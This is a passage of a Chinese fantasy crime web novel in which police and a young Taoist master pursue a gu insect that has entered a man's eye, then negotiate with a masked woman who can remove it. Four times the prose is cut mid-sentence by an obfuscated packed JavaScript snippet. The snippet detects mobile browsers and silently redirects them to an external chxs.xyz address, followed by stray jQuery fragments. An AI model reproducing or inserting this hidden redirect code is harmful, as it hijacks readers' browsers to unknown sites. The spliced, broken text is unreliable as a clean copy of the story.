萧泰安皱起眉头,他本不愿意请竹七九过来,只因为薛穆冉坚持,他才同意。现在听对方说起养蛊,自然知道这事又要跟那些怪力乱神的东西扯上关系,心底立时有些不快。
倒是田芸淼有些激动,连忙问道:“是说苗疆蛊虫吗?我从小说里看见过,那种能窜进人的体内,控制人行动的东西,对吗?”
“倒不是那种,”竹七九有些无奈,“我了解的也不多,只是听师父提起过,说是中了蛊毒的人,可能外在表面与常人无异,所以不容易被察觉。只是一旦蛊虫离开人体,那人会迅速被吸干精气,变成一具干尸。”
“可是,这人隔了四五天才发生异变啊,应该不是你说的那种情况。”薛穆冉反驳道。
“真的确定隔了四五天吗?”竹七九笑了,“验完尸后,你们还有谁查看过这具尸体?”
这时,旁边一位长相端庄,眉目秀丽的女子走了过来,说道:“其实,尸体送过来的时候,皮肤就有些发皱。当时我以为是因为死者天生如此,也没有在意。此后尸体一直放在冰柜里,应该没人再查看过。”
她就是周青语,正经临床专业出身,现在除了要照顾因公受伤的警员外,还兼职法医的工作。
“这位是我们的周法医。”薛穆冉凑过来介绍。
“那就是说,现在也不能一定就否认我的推测,对吧?”竹七九接着话题往下,“其实这个也没什么可争议的,那条紫线,就是证据。这个人不是中蛊,而是以自己的身体来养蛊。”
“这两者有什么区别吗?”田芸淼也上前一步,好奇地发问。
“单纯中蛊的人呢,只会在蛊虫离体后发皱,你看,就变成一截老树皮一样。”竹七九指了指台上的尸体。
“但是,如果自己是主人的话,背后就会有条线,从惊门出发,在生门,也就是后背这个位置,一分为二,分别通向开门跟休门,也就是双眼的位置。这就是以自己全身的精血来养蛊,蛊虫就藏在死门,也就是心脏里面。”
“可是,尸体心脏完好并没有损伤啊。”周青语也走过来,将尸体翻到正面,果然,死者尸体表面皮肤完好,没有受损的迹象。
“所以,那只蛊虫现在应该还活着。”竹七九手指划过解剖台的边缘,忽然像是想通了什么,惊喜的叫道:“所以这三具尸体心脏都被刺穿,原来是这样!”
“你的意思是,凶手是在找这只蛊虫?”田芸淼也反应过来,“所以这后面三起案子,眼珠子只是被挖出来,但是没有带走,相反,心脏都被破了洞。”
“也就是说,第一案跟后面三起要分开看。”萧泰安也像是被感染了一般,跟着推测起来。
“第一案的凶手,就是我杀——”竹七九整理案情,结果差点说漏嘴,赶忙换了说辞,“就是我那天晚上跟薛穆冉发现的老头。后面那具尸体不见了,估计也是被后面三起案子的凶手带去搜查了。”
“不对啊,第一起案件,田云霄已经说明,当夜他看见是徐自友带走死者的。他说当时刚好一阵烟花炸开,亮光照到死者长相。”田芸淼忽然发言。
“死者脖子除了手指的掐痕外,还有被什么东西绞住的勒痕,而致死原因,很大可能是那勒痕。”周青语补充道。
“对了,你们究竟为什么断定,凶手是那消失的老头呢?”田芸淼逐渐察觉出里面的问题,接连发问,“你们,是不是在隐瞒着什么?”
无奈,竹七九只好将一切和盘托出。那真正的凶手可能是修炼妖术的怪物一事,让在场的诸人都吃惊不已。
方才所说养蛊,还算人类范畴内的事情,现在扯到妖怪,难免让人无法接受。沉寂半晌后,薛穆冉首先打破这沉重的气氛。
“那现在怎么办?完全没有头绪啊!”
“谁说的!”田芸淼走到萧泰安边上,神色复杂的说道:“队长,现在重点就是查清楚死者身份。既然凶手知道养蛊的事情,那肯定跟死者认识。说不定,他们还是同伙。”
这时屋外天已大亮,和煦的阳光顺着窗户照在地板上,扑腾一声,一只黑色的虫子停在窗沿边,轻拍着翅膀。
屋内众人纷纷看向身为队长的萧泰安,似乎在等待他的指令。
自从八年前,他因负伤从前线退下,来到这里当了一名警察,已经办理过无数案件。不管是杀人抢劫的大案,还是家长里短的小摩擦,他都能很快解决。
如今,却碰上有关另一个世界的东西。这一切对他来说都好像是做梦一般,完全无法接受。
什么修炼妖术,什么养蛊,那都是志怪小说中才会出现的东西,怎么可能出现在现实中?可是,这几人死状凄惨,极为奇怪,也根本无法当做普通案件来调查。
他犹豫了,不知道该怎么做。
重重叹了口气后,萧泰安发话:“先去调查死者身份。今天所说之事,大家都当做没听过。这起案子,我们能做的,就是尽快抓到凶手。”
他有自己的底线,必须要遵守,所以这起案子,只能是一件普通的杀人案。
在场的几人听完指示,各自对视了一眼,虽然神色各异,也没人发出反对,就都散了。
剩下竹七九依旧站在解剖台前,他笑了笑,说道:“其实,就算队长你不提这点,我也会说。正所谓,子不语怪力乱神,这种事还是低调点好。”
“不用你给我台阶下。”萧泰安冷冷说完,转身也走了。
竹七九无奈地笑笑,忽然手被一阵瘙痒,原来是尸体眼睛里爬出的黑虫咬了他一口,现在那伤口周围微微肿了个小包,整个手被都红了起来。
“小小家伙,毒性还不小啊!”竹七九捏起那枚黑虫,从旁边架子上取下一只空烧杯,将虫子放进去倒扣着盖在桌子上。
那黑虫在烧杯里扑腾几下后,似乎累了,掉在桌面上来回爬着。没过一会,那黑虫就不动了。
竹七九将烧杯拿开,笑道:“看来,你也没我毒啊!”
他抬起手看了一眼,上面肿包已经消退,只剩下皮肤仍旧有些红。他走到窗户边,看着远处热闹的街市,忍不住肚子又叫唤起来。
恰好薛穆冉出现在楼下,竹七九大声叫道:“去给我再买三个包子!早上没吃饱!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988038|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
扑腾——窗台上那只黑虫缓缓飞起,在他眼前快速闪过,消失在明媚的阳光里。
“等等,这不是——”情急之下,他伸出手去抓,险些摔下楼去,“喂!薛穆冉,抓住那只虫子!”
“什么?”已经走了好几步的薛穆冉,听不太清二楼窗户边传来的话,伸出手招在耳边,“什么虫子?”
“你头顶上,那只黑虫!快!”竹七九在窗户边乱舞,可惜街上人声鼎沸,比他的嗓门大多了。
无奈,他飞奔下楼,顺手拿起椅子上不知主人的外套往外跑去。等他赶到薛穆冉身边,哪里还有那只黑虫的影子。
“怎么啦?你拿着师姐的衣服干什么?”薛穆冉问道。
“我——”竹七九这才发现自己拿的竟然是一件女士风衣,忍不住烦闷起来,“刚刚,我发现那只蛊虫了,是成虫。”
“什么意思?”
“那具女尸眼睛里爬出来的黑虫都是幼虫,毒性不大。而且失去宿主,很快就会死亡。但是那只成虫不同,可以脱离宿主存活,而且一旦被它找到新的宿主,就麻烦了。”
“怎么说?”
“这样那只蛊虫就会跟新主人建立联系,我们就无法利用它来找到凶手了。”竹七九低声解释着,一边拉着薛穆冉来到路边巷子里。
扑腾——翅膀轻轻敲打空气的声音在两人头顶响起,那只黑虫不知何时已经飞过来,正在墙头停着。
此时才能看清这虫的长相,黑色带有金属光泽的外壳,长着三对长足,上面生有尖锐的小刺。身体最前面有一个小指盖大小的凸起,左右各有一只米粒大小的眼珠。
“这小东西长得还挺威武啊!”薛穆冉小心翼翼靠近,将外套脱下拿在手里。
竹七九从另一侧进攻,将外套摊开,刚准备扑上去,那黑虫似乎察觉到了危险,张开双翅飞向天空,消失在高墙后面。
薛穆冉立刻下蹲,双手在膝盖前交叉,做成人肉弹簧的样子。竹七九纵身一跃,翻过墙去,那只黑虫正在各色小吃摊之间穿梭。
一会飞过滚烫的油锅,一会掠过白色的面团,引得竹七九在后追的眼花缭乱,很快累得双膝酸软,再也跑不动。
这时薛穆冉拍了他一下,笑道:“剩下的交给我吧!”侧身往前追去。
忽然间,那只黑虫停在一只高高束起的马尾辫上不再动弹。薛穆冉紧张的喉咙发干,伸出手去准备实施抓捕行动。
“包好了,您的炸鸡排!”老板娘一声叫唤,那只黑虫又慢悠悠挥动翅膀飞起来。
马尾辫女孩一转身,险些撞上正在她身后蓄势待发,准备捉虫的薛穆冉,吃了一惊,问道:“你做什么?又是色狼吗?当心我报警。”
“不,我就是警察,正在公干。”薛穆冉简单解释一句,刚准备继续搜寻那黑虫的去向,却被这女孩抓住手腕。
“你有证据吗?证件呢?没有的话,我就拉你去警局!”女孩不依不饶的说着。
“啧——”薛穆冉掏出证件晃了晃,“再不放手,我就以妨碍公务罪抓你进去喝茶了。”
本打算放手的女孩听到这话,立刻又抓紧了,怒道:“就算你是警察,谁又能证明你在公干呢?难不成,警察里面有没有坏人了?”
23. 第十章 失之得之
“别闹了行不行?”薛穆冉有些无奈,忽然瞥见那只黑虫此时正趴在一个男人头上,连忙冲身后的竹七九叫道:“大师,你还能上吗?就在前面!”
闻言,竹七九喘了几口气后,起身往前跑去,拨开来往的过客,终于看见那只虫子。可惜眼前这人比自己略高一些,而且仍在走着没停,不好出手。
薛穆冉也挣脱女孩的束缚,跟着走过来,两人正在商议要怎么抓住那只黑虫。忽然那扎着马尾辫的女孩也跟过来,大叫一声:“你们到底在干什么?”
那黑虫受到惊吓,忙飞起来,在空中来淮盘旋。面前的男子也回过头来,问道:“什么干什么?”
竟然是田云霄。
这田云霄看见那马尾辫女孩,忽然笑了,“原来是你!怎么?知道上次是冤枉我了?”
女孩似乎也有些惊讶,似乎没料到是他,有些恼怒:“上次就该报警抓你进去,要不是阿淼过来跟我道歉,我才不会算了。”
原来是那日被田云霄当街占便宜的女孩。
这时那黑虫在空中盘旋了几圈后,猛地俯冲,钻进田云霄的左眼之中,没了踪迹。
“什么东西?额?我眼睛怎么——变得黑乎乎了?”田云霄伸手摸了一把自己的左眼,又在面前挥了挥手,问道:“我的眼睛,怎么看不见了?”
话音未落,他一双黑眼珠子逐渐扩大,很快填满了剩余的眼白位置,两只眼睛现在只剩下一团漆黑,像是两只黑漆漆的洞口。
目睹这经过的两人都被眼前的景象惊得说不出话来,竹七九最先反应过来,喃喃道:“这下完了!怎么又是‘瞳术’?”
两人将田云霄搀回警局,跟队长说明情况后,决定先将田云霄安置在警局宿舍休息。又请周医生过来,帮忙检查他的身体情况。
“这双眼睛,我也看不出来原因。”周青语有些为难,“这种情况,我也是第一次碰到。你们说那虫子直接就飞进眼睛里消失了?”
薛穆冉狠狠的点了点头。
“怎么可能呢?眼睛里面又不是空的,怎么能容下那么大的飞虫,这事太不可思议了!”周青语叹了口气,求助似的看向萧泰安。
萧泰安也无法,拉着竹七九走到一边,低声问询解决之法。
谁料他也直摇头,无奈地说:“我只知道,除非是原主人还活着,他能操控蛊虫入体,也能剥离蛊虫。只是,现在蛊虫主人已死。”
“不是说,可能有同伙,那样不也算主人吗?”此时也顾不上什么乱不乱神了,萧泰安连忙追问。
“蛊虫的主人是那具女尸,这是毋庸置疑的。但是,从蛊虫脱离宿主后,仍旧在外漫无目的的游荡这一行为来看,那个同伙应该不是同级宿主,而是次等宿主。也就是说,可能仅仅是参与喂养的关系而已。
只要距离过远,蛊虫是感知不到次等宿主存在的。只是,现在因为受到惊吓,竟然意外进入无关人员的体内,我也不知道该怎么办了。”
啪——手里的餐盒掉了一地,田芸淼呆呆看着双眼发黑的哥哥,颤声问道:“这,到底是怎么回事?”
薛穆冉赶紧走过来,将经过简单描述一遍后,捡起地上的早餐,安慰道:“师姐,你别担心,大师肯定有办法。”
一直被称呼为‘大师’的竹七九此时也犯起了难,他走到田云霄身边,将手放在对方心脏位置,却被一把推开:“什么人?搞什么东西?”
“我看看那只虫子现在到了哪里,你别动,保持安静。”
竹七九低声解释,见他安静下来,再次伸手搭上对方后脑勺,往下游走,从脖颈,到后背,最后,一路下滑到尾骨。
另一只手,搭在田云霄胸前心脏位置。
“已经到了死门了。”竹七九眼里闪过一丝怜悯。
“这意思,是我死定了吗?”田云霄呆呆望着声音发出的位置,那双黑洞似的眼睛里没有悲喜。
“不,不一定,只要次等宿主主动出现,还有机会。”竹七九看了眼萧泰安,似乎在等对方指示。
“怎么做?”田芸淼抢先发问。
“不用你管!”田云霄直接拒绝,“如果田芸淼参与这件事,我宁愿死。”
“这种时候,你能不能成熟一点?闹什么脾气?”田芸淼再也忍受不了,大声斥责着自己的哥哥。
“我很冷静,这件事,你不准参与,不然,你知道后果。”哥哥坚持,拒绝妹妹的帮助。
妹妹夺门而出,泪流满面。留下屋内的几个人面面相觑,不知道其中的因由。
雷声阵阵,很应景的下起了瓢泼大雨。薛穆冉站在警局门口,焦急地看着外面,不时进来看看众人,又看看外面,憋了半天,终于忍不住开口:“队长,现在情况这么危急,我怕师姐她——”
“那你去把她带回来吧。”碍于眼前形势,萧泰安也不想再有任何人发生意外。
“好,我去拿把伞!”
薛穆冉面上一喜,在角落里找出一把旧雨伞,刚准备出门,竹七九忽然上前搭住他肩膀,笑道:“我也一起,两个人也有个照应。”
薛穆冉看向队长,见对方点头才敢出门。
方才还人群熙攘的街道现在已经空无一人,大雨模糊了视线,两人共打一把伞在雨中艰难前行。
找了一路,都没发现田芸淼的身影,两人又从街道另一边往回走着。
“大师,师姐的哥哥,救回来的几率大吗?”薛穆冉看着路边被雨水打折了的花草,突然问道。
“只要找到次等宿主,就还有希望。”
“那,万一根本没有次等宿主呢?”
“那就只能硬取了。”见对方疑惑,竹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988039|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
七九解释道:“就是开膛手术,将那只虫子从心脏上扣下来。”
听完这话,薛穆冉一脸受到惊吓的表情:“这样人还能活吗?”
“看天意吧。”
一圈找下来,依旧没发现田芸淼的影子。两人只好返回警局,谁知道刚进门,田芸淼已经坐在屋里了,旁边还开着一台取暖器。
“师姐,你什么时候回来的?怎么也不说一声?”薛穆冉收起伞,一脸欣喜的跑过去问道。
“刚刚在路上碰见一个朋友,她送我回来的。”田芸淼情绪依旧低落,声音显得有气无力。
“哪个朋友啊?我怎么不知道你在彩衣镇还有朋友?”
“咳咳——”竹七九尴尬的咳了几声,“你就别管那么多了,人家女孩子有几个朋友不是很正常的事情吗?”
这时,楼道口传来说话声,隐隐约约似乎是周青语的声音,说是田云霄已经安排睡下了,现在身体一切正常。其他的要等雨停了,带着去大医院做X光才知道。
“这X光射线能不能杀死那只虫子啊?”薛穆冉突然问道。
“这个,应该不能吧。”竹七九被这问题弄得发蒙,他从来没这样想过。
很快,楼道口的声音停了,接着是人上楼的动静。萧泰安走了出来,见到三人正目不转睛的看着自己,干咳了两声,说道:“等明天医院检查结果吧,也许那虫子就是个幻影,根本没进到人体内。”
这话一说出,他就后悔了。那双眼睛,怎么可能是幻影导致的。但是没有一个人指出这一点,理由虽然不尽相同,但是此刻,众人也没了争辩的力气。
夜里,竹七九留宿在警局宿舍。借了一把剃刀,他对着镜子小心地刮着胡子。将过长的头发简单理短了一些,露出一双看上去过于孩子气的眼睛来。
夜已深,四周除了雨声,一片寂静。薛穆冉躺在床上,翻来覆去睡不着。空气中充斥着雨水的气味,混杂着院中泥土的味道,不能说难闻,但是也算不上清新宜人。
吱吖——不知道谁的门打开了,又轻轻合上。不对劲,这排宿舍都是一群糙老爷们,谁会这么小心关门?是大师吗?不会,大师在最边上,这动静很近,似乎,就是隔壁。
隔壁?不就是田云霄吗?想到这里,他轻手轻脚起身,将门开了一道口子,悄悄闪身出去,蹲在走廊上。
见四周无人,众人门窗紧闭,似乎并没有异样。他慢慢转身,趴在窗户边往里看,屋内一片漆黑,看不清里面情况。
空中响起一声闷雷,紧接着一道闪电划过,一瞬间,屋内出现一个手握尖刀的黑影,正对着床上的田云霄。
“住手!”情急之下,薛穆冉大叫出声,并不断拍打着窗户,以期望暂时吓住凶手。紧接着一脚踹开房门,进去一看,屋后窗户大开,那凶手早就越窗逃走了。
24. 第十一章 心有千结
大风吹得窗户哐当作响,雨水顺着打开的后窗淋到床上,转眼被褥就湿了一片。竹七九蹲在门边,转动着被撞坏的门把手,又沿着地上未干的足迹,一路来到床边。
“看来,对方是直奔田云霄而来。”竹七九指着地上的湿脚印,“对方从前门进来,没有犹豫,一路直奔这间屋子而来。”
萧泰安眉头紧锁,不发一言。旁边的田芸淼听到这话,立刻问道:“你的意思是,我们内部有人把我哥——就是田云霄的位置暴露给凶手了?这不可能,只有我们几个知道,他被安排在这间屋子。”
“倒不是这个意思,”竹七九笑笑,从锁眼里抓出一只黑虫,“是它,暴露了位置。”
几人凑上去,盯着那只小虫在竹七九手上来回爬动,纷纷露出疑惑的表情。
“这是,从那女尸眼睛里爬出来的黑虫吗?”薛穆冉问道。
“可能是,也可能不是。”竹七九掏出一只细长的竹筒,将虫子关进去,“不过可以确定的是,这个行刺的人,可以操控这些小黑虫,也就意味着,对方也可以控制田云霄心里的那只虫子。”
“这就是说,我哥哥有的救?”田芸淼激动的问着,转眼看向坐在椅子上,有些昏昏欲睡的田云霄,眼里满是惊喜。
“只要那人愿意配合,就能取出黑虫——”话音未落,椅子翻倒在地,田云霄倒在地上,已经失去意识。那两只漆黑的眼里不断流出黑色的液体,将水泥地面烧出两个浅浅的小洞。
田芸淼刚准备上前扶起他,竹七九连忙阻止:“别碰他,只怕现在毒性已经遍布他的全身,你们碰了也会中毒。”
“可是——这可怎么办?”田芸淼急得快要哭出来,眼圈通红,站在那不断揪着自己的衣服。
蹲在地上沉吟片刻后,竹七九拿起被单将田云霄裹住,搬到自己屋中,对众人说道:“今晚我陪着他,你们都去休息,明天我们再想办法。”
说完,将紧跟而来的其他几个人赶出去,转身关上门,连窗帘都拉得严严实实。
屋外的几人无法,只能先回自己房间,等第二天再做打算。
夜已深了,警局大院里一片漆黑,众人虽然没有全部进入梦乡,但是灯都灭了。呲啦一声,竹七九划亮一根火柴,点燃一根金黄色的蜡烛。
又掏出一炷香,刺破田云霄的手指,挤出几滴鲜血均匀抹在香上。借蜡烛的火焰点燃那支沾了血的香,插在一块没吃完的面包上。
“师父师父,你的在天之灵一定要保佑我啊!”他低声呢喃,然后掏出那只装着黑虫的竹筒放在旁边的桌上,口里念念有词起来:“天地玄黄,宇宙洪荒……太上老君急急如律令!”
血香已经燃尽,他将香灰倒进竹筒里,低声笑道:“这下,全看明天了。”
第二天早上,雨已经停了,天边缓缓升起一轮金色的太阳。萧泰安找了一辆黄包车,打算送田云霄去医院检查。于是其他人找来两床不用的被罩,将其裹得严严实实,送上了车,只留下田芸淼陪同。
剩余的几人骑着大杠自行车,紧跟其后。
薛穆冉使劲蹬着自行车,后面坐着的竹七九,时不时转头看向四周的街道。此时的他跟昨日已经大不相同,头发只到耳边,胡子也刮得溜光。整个人看上去也不过才二十来岁,跟前俩日的邋遢模样相比,简直判若两人。
“我说,大师,昨晚还没注意,你啥时候换的造型啊?”薛穆冉转头笑着问道。
“昨晚上闲来无事,就给剃了,头发里沾满了黏糊糊的脏东西,不给剪短了都洗不干净!太臭了!”他摸了一把现在飘逸的短发,笑着回答。
此时已经行到一处孤僻的小道,四周人声稀少。趁此机会,竹七九掏出竹筒,将那只沾满香灰的虫子放了出去。
“我有事,得先走了,稍后我会来警局找你们。”说完,噌的一声跳下车子,冲因惊讶而转头的薛穆冉笑着挥手告别。
那只黑虫颤悠悠飞着,在柳树条里转了几圈,开始往左手边方向飞去。在巷子里时上时下,时而趴在墙上不动弹,就这样耽误了一上午的世间,那虫子终于停在一户独门小院前不动了。
看着这只趴在木门上来回爬动的黑虫,竹七九嘴角露出一丝微笑,掏出竹筒将黑虫再次收入囊中。
因蛊虫进入田云霄体内,已经开始吸收新宿主的精气。所以新宿主的血液可以暂时增强蛊虫的力量,让其得以暂时扩大活动范围。那只幼虫才能循着残留的气味,找到次等宿主。
绕到院子后方,借着墙角的一块大青石,竹七九轻易翻上院子墙头。往下一看,立刻被眼前的景象迷了眼睛。
院中满是盛开的月季花,大都是红白二色。有的花朵比寻常吃饭的盘子都大上一圈,开得十分热烈,空气中也混杂着淡淡的花香气味。
见此景象,竹七九虽然心里疑惑,但是也并未发现其他异常,于是纵身跃下。刚一接触地面,忽然两旁的花朵纷纷自动扭过来,将花心对准他,喷出一阵黄色烟雾。
一阵浓香扑鼻而来,紧接着,他只觉得脑袋昏昏沉沉的,逐渐瘫倒在地上。失去意识前,他看见一个穿着白裙子的人款款从屋内走出,在他身旁蹲下,取走了那只装着黑虫的竹筒。
迷迷糊糊间,他在赶路,脚下不停的走着,四处一片漆黑,只有零星几点灯光从旁边的屋子里透出来。他觉得好累,想找一处地方歇息,却发现脚下全是水,连一块石头都看不见。
无处可停,只好继续前行,不知道过了多久,天上逐渐下起了雨,冰凉的水洒在脸上,让他的精神也好了几分。天也渐渐亮了,他缓缓睁开眼睛,才发现自己刚刚是做了个梦。
脸上湿漉漉的,似乎被人泼了水。他想伸手去擦,才发现双手已经被绑在椅子上不能动弹。缓缓抬头,才发现面前坐着一个戴着猛鬼面具的人,穿着一身白裙子,满头黑发随意的垂在腰间。
“你是谁?”竹七九看了眼四
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988040|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周,发现自己身处在一处宽敞的大厅内,四周被粉刷成雪白的颜色,左右各摆着几张椅子茶几,很像古装剧里的豪门望族接待客人的地方。
“我是谁不重要,重要的是,我可以救那个中蛊的人,你只要知道这点就可以了。”女人声音低沉,听不出来年纪。
“那条件呢?”竹七九知道对方抓住自己又不下狠手,肯定有所求,因此抢先一步发问。
“你们只要将中蛊之人送到飞龙潭边的芦苇丛里,然后离开,不得让任何人靠近,我自有办法救他一命。如果你们胆敢在旁监视,就别怪我手下无情了。”
“你想带上那只虫子平安离开?”
“正是!”女子笑了笑,起身到屋外摘了朵花,在竹七九面前晃了晃,轻轻一转,花粉像轻烟一般四散,竹七九吸了几口,再次失去意识。
啪——脸颊火辣辣的疼痛,他下意识伸手去摸,发现双手已经自由。连忙查看四周,发现自己正躺在警局门口,薛穆冉蹲在自己面前,满脸关切的神情。
“刚刚是不是你扇我巴掌?”竹七九摸着已经肿起来的脸,随口问道。
“当——当然不是,是师姐让我打的。”
这时他才发现,还有田芸淼躲在门后,正尴尬的微笑。
他也懒得计较,想起晕倒前那女人提出的建议,顿时觉得有些头疼,“对了,田云霄的检查结果怎么样?医生怎么说?”
“拍过片子了,心脏位置有奇怪的阴影,医生打算做手术切掉。”田芸淼从门后走出来,脸上笼罩着一层忧愁,“可是,我总觉得这样不行。”
“这样剥离,只怕你哥哥身体也吃不消。我有一个注意,走,进去再说。”
竹七九推着两人往屋内走着,这时空中飞来一只小黑虫,轻轻停在他肩膀上。叫来萧泰安,几人围在解剖室商议。
下午被抓一事经过,竹七九事无巨细,一一跟众人说了一遍,然后看向萧泰安,似乎在等他示下。
“那个地方,你还记得怎么走吗?”萧泰安问道。
“脑子一片混乱,已经想不起来了。”竹七九无奈的摇了摇头。
一直在旁聆听的周青语突然开口道:“可是,这样我们是不是太被动了?万一对方并不能救回田云霄,这样反而让对方拿走蛊虫,又能逃之夭夭,怎么办?”
田芸淼脸上阴影更深,眼里快要落下泪来。
“眼下,必须想个万全之策,才能确保无虞。”周青语继续说着,绕过竹七九,瞥见那只黑虫,神色一变。她默不作声的走到桌前,写了一行字快速在众人面前过了一遍,然后急忙反过来盖上。
竹七九会意,跟萧泰安对视一眼,笑着说道:“我觉得,还是信他们一次,只要对方能救回田云霄,这次我们就当两清,只要他们再敢留在彩衣镇犯案,决不轻饶,你们觉得怎么样?”
“眼下,只有这样了。”萧泰安像是作出巨大让步似的,重重叹了口气。
25. 第十二章 将计就计
话虽如此,关于接下来该如何做,却让众人都犯了难。眼下,无法联系对方,又不知对方能不能及时收到讯息,主动找过来。
已经昏迷两天的田云霄,此刻脸上黑纹遍布,也不知道他还能支撑多久。谁知,到了下午,事情有了转机。
一个胖乎乎的男孩拿着一张报纸,出现在警局院子中,大声叫着:“你们这里谁要的报纸?”
“你是哪来的?我们这里没定报纸!”一个年轻警员走出来,打算赶他出去。
“可是,人家付过钱了,说送到这里来。”男孩坚持,甩下报纸转身跑了。
那位警员捡起报纸,满脸不情愿的神色。走进屋内,将报纸扔在桌上,抱怨道:“现在的孩子一点都不听话,也不怕咱们了,态度比咱们还强硬!”
“哈哈,咋了这是?这么多感慨!”薛穆冉笑着拍了拍对方,顺手拿起报纸,“谁买的报纸?”
“这不,刚刚一个屁大点的孩子扔过来的,还说我们付过钱了。咱们这局里,能有谁愿意花钱订报纸的?这不是大白天做梦吗?”警员将刚刚的事说了一遍。
薛穆冉盯着那张报纸,突然问道:“那孩子呢?”
“早走了。”
“他长什么样的?”
“胖胖的,个子不高,大概一米高点。”
“来了来了!”薛穆冉叫了一声,慌忙往楼上跑去。
“什么啊?最近你们怎么都喜欢往解剖室跑?”剩下那个警员在原地不满的大叫。
原来这张报纸上头版头条的新闻里,用红色记号笔,圈出好几个字,连起来就是‘明夜子时,不见不散’。
“果然,对方已经收到我们的信息了。”竹七九笑了,点了一炷香,在室内来回走了几圈,确保烧出来的烟遍布整个屋子,才拉着众人商量接下来的计划。
第二天夜里十点钟,按照约定,他们将田云霄用担架抬着,放在芦苇丛边。对面的厢竹酒家依旧灯火通明,看上去,似乎还有不少客人在店内饮酒。
接近十一点的时候,一个步履瞒珊的老人拿着一根竹竿,一只破碗,上门讨点吃食。那胖老板这天似乎心情很好,不但给了一大碗剩菜剩饭,还请那老头进屋坐下慢慢享用。
那老头也不客气,选了个靠窗的位置自顾自吃起来。
“老人家从哪里来啊?”胖老板端着一瓶酒,两只杯子,也走过来坐下。
“从北方来。”老人声音沙哑,嘴上斑白的胡须沾满了米粒和油渍。
“那边战争已经平了吧,您是怎么过来的?听说火车还没通呢。”胖老板惊讶的睁大眼睛,给两只杯子里都倒满酒。
“我啊,就靠这双腿。”老人摸了一把嘴,将胡子上粘的饭粒塞进嘴里,细细咀嚼。
“这可真了不得!您吃饱了吗?厨房还有。”胖老板难得大方一次,似乎十分钦佩面前这个衣着破烂的老者。
“饱了饱了,”老人呵呵一笑,“正所谓粒粒皆辛苦,可不能浪费了。”
“那就好。”胖老板笑了,脸上的肥肉堆在一处,将眼睛挤得只剩下一条细缝,“来,喝点餐后酒,助消化。”
老人喝前先闻了一下,笑道:“我不太懂这个,只是这酒闻着倒香,跟我在别处看见的不太一样。”
“这可是拿粮食,自家酿的酒,一点没掺水,能不香吗?”胖老板嘿嘿一笑,将杯子里的酒一饮而尽,然后满意的砸了咂嘴。
老者也举起杯子放到嘴边,眼角轻轻瞥了眼窗外,笑道:“平常也开到这么晚吗?生意真好啊!”
此时接近十二点,店内还零星坐着几个客人,大都在喝酒聊天。
“一般只有节日,店里客人会呆的晚一点,像今夜这样的,倒也有过,但是不多。”胖老板又给自己倒了杯酒,跟老者杯子碰在一起,“来,喝啊。”
老者有些不太情愿,但碍于对方盛情难却,只好也喝了一口。酒水入口清冽,刚一下肚只觉得身体内热辣辣的,一下子就暖了。
连喝了几口,额头已经渗出几粒汗珠。
微风吹过,远处的芦苇丛发出一阵细微的声响。老者不经意的看去,不知何时,那里只剩下一张白色的担架。
他笑了笑,起身告辞:“今天感谢老板的招待,改日一定上门跟你喝个够。”
胖老板愣住了,眼前这个老者此时背部挺直,声音爽朗,哪还有方才那副风烛残年的沧桑模样。
店内其他人也纷纷起身,结完账后一涌而出,转眼店内已经没有客人的影子,只剩下老板独自站在窗边,一脸疑惑。
黑暗中,一粒黄色的光点像只萤火虫似的,左右飞舞着。
“这边!”有人低声招呼,剩余几人纷纷凑近,其中一个点起一个火折子,微黄的光照亮了几人的脸庞,正是刚刚在厢竹酒家饮酒的那些客人。
为首的那个老头拿着一炷清香,仔细看着烟飘的方位。
“大师,这个靠不靠得住啊?”旁边一个大胡子年轻男人低声问道,眉眼清秀,跟下巴上的胡子十分不相称。
“薛穆冉,这里这么黑,你也该把那胡子摘了。”旁边一个梳着溜光的大背头,唇上还留着八字胡的男人凑过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988041|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,指着那捋大胡子说道。
